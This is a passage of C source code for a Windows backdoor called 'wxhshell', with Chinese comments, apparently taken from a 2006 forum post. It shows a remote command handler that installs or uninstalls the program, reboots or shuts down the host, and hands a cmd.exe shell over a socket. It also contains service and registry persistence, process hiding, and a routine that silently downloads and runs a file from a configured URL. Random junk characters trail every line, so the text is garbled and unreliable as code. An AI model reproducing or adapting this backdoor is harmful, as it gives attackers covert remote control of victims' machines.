    switch(cmd[0]) { f OM^V{)T  
  2E3?0DL",  
  // 帮助 U1>  
  case '?': { O2q=gYX>\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \]U<hub  
    break; Ld\LKwo  
  } @L[PW@:SZ  
  // 安装 /lr1hW~Dbk  
  case 'i': { K_AtU/  
    if(Install()) 8<yV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X;OsH  
    else ]g>m?\'n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <+T\F;   
    break; *K+jsVDY  
    } 0q[p{_t`  
  // 卸载 N)y^</Ya  
  case 'r': { ~m?74^ i  
    if(Uninstall()) ]&C:>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FDF3zzP0  
    else <.r ]dCf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qe5tcv}u  
    break; I&pr_~.  
    } !F+|Y"c  
  // 显示 wxhshell 所在路径 U|Bsa(?nx  
  case 'p': { )IFl 0<d  
    char svExeFile[MAX_PATH]; &G-#*OG  
    strcpy(svExeFile,"\n\r"); S2rEy2\}:  
      strcat(svExeFile,ExeFile); #~H%[ sa  
        send(wsh,svExeFile,strlen(svExeFile),0); Uz6{>OCvk|  
    break; c~gNH%1XN  
    } xb =8t!  
  // 重启 5JBB+g  
  case 'b': { >JKnGeF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xvwD3.1  
    if(Boot(REBOOT)) %[]"QbF?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oLrkOn/aY  
    else {  xFBh?  
    closesocket(wsh); @-wNrW$  
    ExitThread(0); SY%A"bC  
    } cBz!U 8(  
    break; ZnvEv;P  
    } KTG:I@|C  
  // 关机 '}jf#C1$c  
  case 'd': { BIxV|\k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _M8G3QOx  
    if(Boot(SHUTDOWN)) :3KO6/+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r{t. c?/  
    else { IL~]m?'V(  
    closesocket(wsh); P0%N Q1bn  
    ExitThread(0); n-b>m7O(  
    } S}oG.r 9  
    break; 7?6xPKQ)H  
    } e[x?6He,$  
  // 获取shell A Gv!c($  
  case 's': { rNxrQ  
    CmdShell(wsh); K\RWC4  
    closesocket(wsh); J+ Jt4  
    ExitThread(0); #4vV%S   
    break; `Y\gSUhzS  
  } yGb a  
  // 退出 :3f-9aRC!  
  case 'x': { S~+O` y^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E2^ KK:4s  
    CloseIt(wsh); Uc_jQ4e_  
    break; U7^7/s/.  
    } .:w#&yM [U  
  // 离开 f ,tW_g  
  case 'q': { \hs/D+MCk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ppAmN0=G  
    closesocket(wsh); oR*ztM  
    WSACleanup(); $ q%mu  
    exit(1); z-n>9  
    break; R[x7QlA;  
        } 0CPxIF&  
  } kUNj4xp)  
  } M{C6rm|  
lV P9=  
  // 提示信息 2>F\&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KMUK`tbaI  
} FX H0PK  
  } `TUZZz  
'S =sj}X  
  return; IikG /8lP  
} V?OuIg%=:  
:1:3Svb<Y  
// shell模块句柄 }1 $hxfb  
int CmdShell(SOCKET sock) >BBl 7  
{ cppL0myJ  
STARTUPINFO si; 7$!yfMttu  
ZeroMemory(&si,sizeof(si)); z8IPhE@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^;.T}c%N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4w 'lu"U  
PROCESS_INFORMATION ProcessInfo; `,+#!)  
char cmdline[]="cmd"; Z;#%t.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "[k1D_PZ  
  return 0; b)N[[sOt  
} xpF](>LC(  
<>%,}j 9  
// 自身启动模式 Nwgu P  
int StartFromService(void) KacR?Al  
{  Do|]eD  
typedef struct y<TOqn  
{ VM7 !0  
  DWORD ExitStatus; $H'8 #:[d_  
  DWORD PebBaseAddress; ^7.XGWQ)-  
  DWORD AffinityMask; 1n_;kaY  
  DWORD BasePriority; AIb>pL{  
  ULONG UniqueProcessId; cgyp5\*>+  
  ULONG InheritedFromUniqueProcessId; K4 C ^m|e  
}   PROCESS_BASIC_INFORMATION; |pJC:woq  
g+/0DO_F3  
PROCNTQSIP NtQueryInformationProcess; j.DHqHx  
T .kyV|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kB o;h.[l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -LTKpN`[@  
wzd`l?o,  
  HANDLE             hProcess; ndw7v  
  PROCESS_BASIC_INFORMATION pbi; ;+sl7qlA4  
xOythvO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t-WjL@$F/  
  if(NULL == hInst ) return 0; tR1FO%nC  
wxE?3%.j\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {(4# )K2g%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wbe0ZnM]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C}q>YRubZ  
.jA\f:u#  
  if (!NtQueryInformationProcess) return 0; TjxA#D)   
L1sqU-gt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +Gow5-(  
  if(!hProcess) return 0; %#u.J  
^-hErsK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @D~B{Hg  
,9d9_c.T  
  CloseHandle(hProcess); /%!~x[BeJ>  
e'34Pw!m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Pe}PH I  
if(hProcess==NULL) return 0; u^=`%)  
T?n -x?e  
HMODULE hMod; %t*  
char procName[255]; kx:jI^  
unsigned long cbNeeded; GX  }q9  
/4*WDiH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #jBN?Z#  
=s;M]:  
  CloseHandle(hProcess); 4J5pXlzV  
FbAW_Am(  
if(strstr(procName,"services")) return 1; // 以服务启动 <C'Z H'p  
v`x|]-/M&  
  return 0; // 注册表启动 :'}@Al9=>  
} 'Dath>Y=  
}$&xTW_  
// 主模块 6V1:qp/6  
int StartWxhshell(LPSTR lpCmdLine) $e }n  
{ l'6d4 DZ  
  SOCKET wsl; !77NG4B  
BOOL val=TRUE; )MSZ2)(  
  int port=0; @E%DP9.I  
  struct sockaddr_in door; L[y Pjw:0  
)#C mQXgG  
  if(wscfg.ws_autoins) Install(); RF?DtNuq  
L&kr{7q  
port=atoi(lpCmdLine); X`:'i?(yj  
<^8*<;PaG  
if(port<=0) port=wscfg.ws_port; 4r&f%caU  
oh~: ,  
  WSADATA data; M&KyA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +Rwx% =  
wfR&li{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   | kXm}K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q9c)k{QZ  
  door.sin_family = AF_INET; FJ54S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .Q* 'r& n  
  door.sin_port = htons(port); gl8Ib<{  
ab.tH$:<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q/PNJ#<  
closesocket(wsl); X(Qu{HhI  
return 1; eKG2*CV  
} uwmQ?LS]V  
%w ) +V  
  if(listen(wsl,2) == INVALID_SOCKET) { <jA105U"m>  
closesocket(wsl); [sy j#  
return 1; poT&-Ic[  
} !yJICjXj  
  Wxhshell(wsl); lG:kAtx4  
  WSACleanup(); |(%zb\#9  
Q.Aa{d9e  
return 0; 28I^$> [  
V '.a)6  
} cn`iX(ZgR  
<RXwM6G2  
// 以NT服务方式启动 pQa:pX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ny*i+4Mb  
{ O.QK"pKD\  
DWORD   status = 0; FX}Gt=  
  DWORD   specificError = 0xfffffff; ezm&]F`  
5,)vJ,fs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (xpn`NA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *O~e T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lDU_YEQ>  
  serviceStatus.dwWin32ExitCode     = 0; 5(m(xo6  
  serviceStatus.dwServiceSpecificExitCode = 0; `yiC=$*[  
  serviceStatus.dwCheckPoint       = 0; kmPYx)o  
  serviceStatus.dwWaitHint       = 0; BuOgOYh9  
Fhf<T`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EGVM)ur  
  if (hServiceStatusHandle==0) return; m Y,|J\w@  
K.~q+IYP[  
status = GetLastError(); 3Q^fVn$tk  
  if (status!=NO_ERROR) E_T 2z4lw  
{ ==N{1gO]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1q7tiMvV-  
    serviceStatus.dwCheckPoint       = 0; ino:N5&;;  
    serviceStatus.dwWaitHint       = 0; xc @Ss[  
    serviceStatus.dwWin32ExitCode     = status; =qy@Wvj$  
    serviceStatus.dwServiceSpecificExitCode = specificError; `G9 l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5GzFoy)j>  
    return; 3FE(}G  
  } LeOP;#  
zp}eLm:=d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }H> ^o9  
  serviceStatus.dwCheckPoint       = 0; \M<3}t  
  serviceStatus.dwWaitHint       = 0; 80OtO#1y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I:98 $r$  
} 64>krmVIe  
Z<?OwAWz  
// 处理NT服务事件,比如:启动、停止 @(g_<@Jz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) baV>N[F&  
{ uVE.,)xz  
switch(fdwControl) q*7<)VwI  
{ PNs~[  
case SERVICE_CONTROL_STOP: =FP0\cQ.  
  serviceStatus.dwWin32ExitCode = 0; Pe73g%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >$WQxbwM(  
  serviceStatus.dwCheckPoint   = 0; NoE*/!Sr  
  serviceStatus.dwWaitHint     = 0; w o bgu  
  { v=@TWEE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \y`+B*\i  
  } 8.AR.o  
  return; kRCQv-*  
case SERVICE_CONTROL_PAUSE: uo%P+om_}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l7H qo)  
  break; YyAJ m^o  
case SERVICE_CONTROL_CONTINUE: "TyJP[/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u$#Wv2|mk  
  break; q[q?hQ/b  
case SERVICE_CONTROL_INTERROGATE: B%CTOi  
  break; CAq/K?:8  
}; OJ|r6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,l YE  
} W!Hm~9fz  
^&@w$  
// 标准应用程序主函数 >@xrs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &Mq~T_S  
{ \>LnLH(  
Q/uwQ o/  
// 获取操作系统版本 g- AHdYJ  
OsIsNt=GetOsVer(); t7 n(Qkrv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q 1d'~e  
jp8@vdRg  
  // 从命令行安装 -i0(2*<  
  if(strpbrk(lpCmdLine,"iI")) Install(); Un`^jw#_  
J%09^5:-z  
  // 下载执行文件 X+L) -d  
if(wscfg.ws_downexe) { @AHm!9?o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U$]|~41#  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9{k97D/  
} ^k5ll=}  
)'17r82a  
if(!OsIsNt) { 0sN.H=   
// 如果时win9x,隐藏进程并且设置为注册表启动 N{ Z  H  
HideProc(); 3.22"U\1:  
StartWxhshell(lpCmdLine); 61puqiGG^  
} _v Sn`  
else drzL.@h|  
  if(StartFromService()) \PDd$syDA  
  // 以服务方式启动 j 8*ZF  
  StartServiceCtrlDispatcher(DispatchTable); mMsTyM-f  
else +zXEYc  
  // 普通方式启动 ]8q3>  
  StartWxhshell(lpCmdLine); pyLRgD0 g  
kB?al#`  
return 0; ]f+ csB  
}
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只看该作者 1 发表于: 2006-10-10
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